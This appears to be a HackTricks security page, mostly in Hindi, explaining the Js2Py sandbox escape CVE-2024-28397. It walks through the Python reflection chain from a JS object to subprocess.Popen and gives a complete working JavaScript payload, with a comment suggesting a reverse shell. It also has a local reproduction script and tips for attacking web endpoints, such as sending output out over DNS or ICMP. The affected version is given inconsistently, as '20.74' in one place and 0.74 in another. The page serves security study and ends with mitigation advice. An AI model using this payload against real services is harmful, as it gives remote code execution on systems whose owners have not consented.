Js2Py sandbox escape (CVE-2024-28397)
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Js2Py JavaScript को Python objects में translate करता है, इसलिए भले ही js2py.disable_pyimport() का उपयोग किया गया हो, untrusted JS Python internals को ट्रैवर्स करके subprocess.Popen जैसे खतरनाक classes तक पहुँच सकती है। Versions 20.74 में Js2Py द्वारा JS objects को expose किए गए Python reflection primitives का दुरुपयोग करके otherwise “sandboxed” JavaScript से RCE प्राप्त किया जा सकता है।
Primitive: pivot from JS object wrappers to Python objects
- Get a Python-backed object:
Object.getOwnPropertyNames({})returns adict_keysobject in Python space. - Recover attribute access: उस ऑब्जेक्ट से
.__getattribute__लें और इसे कॉल करके मनमाने attributes पढ़ें (उदा.,"__class__"). - Climb to
object:<class 'dict_keys'>से.__base__पढ़कर Python के baseobjectतक पहुँचें। - Enumerate loaded classes:
object.__subclasses__()कॉल करके interpreter में पहले से लोड किए गए हर class को ट्रैवर्स करें। - Find
subprocess.Popen: उन subclasses में recursively खोजें जहाँ__module__ == "subprocess"और__name__ == "Popen"। - Execute a command: Popen की instance बनाएं हमलावर-नियंत्रित arguments के साथ और आउटपुट पकड़ने के लिए
.communicate()invoke करें।
उदाहरण payload abusing Js2Py to reach subprocess.Popen
```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;
function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }
// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back
</details>
यह इसलिए काम करता है: Js2Py Python object wrappers को JS के लिए expose करता है बिना `__getattribute__`, `__class__`, `__base__`, या `__subclasses__` को हटाए। `disable_pyimport()` केवल explicit `pyimport` को ब्लॉक करता है, लेकिन ऊपर दिया गया chain कभी भी नया कुछ import नहीं करता; यह पहले से लोड किए गए modules और classes को मेमोरी में फिर से उपयोग करता है।
## स्थानीय रूप से श्रृंखला को पुनरुत्पादित करना
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})")) # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
Operating against web sandboxes
- कोई भी endpoint जो attacker-controlled JS को
js2py.eval_jsमें फ़ीड करता है (उदाहरण के लिए, एक Flask/run_codeAPI) तुरंत RCE है अगर process user के पास shell access हो। - जब
.communicate()bytes लौटाता है तोjsonify({'result': result})विफल होगा; serialization blockers से बचने के लिए decode करें या आउटपुट को DNS/ICMP पर भेजें। disable_pyimport()does not mitigate this chain; hard isolation (separate process/container) या untrusted code का Js2Py में execution हटाना आवश्यक है।
References
- HTB: CodeTwo write-up (Js2Py CVE-2024-28397 escape)
- Marven11 CVE-2024-28397 Js2Py sandbox escape PoC
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


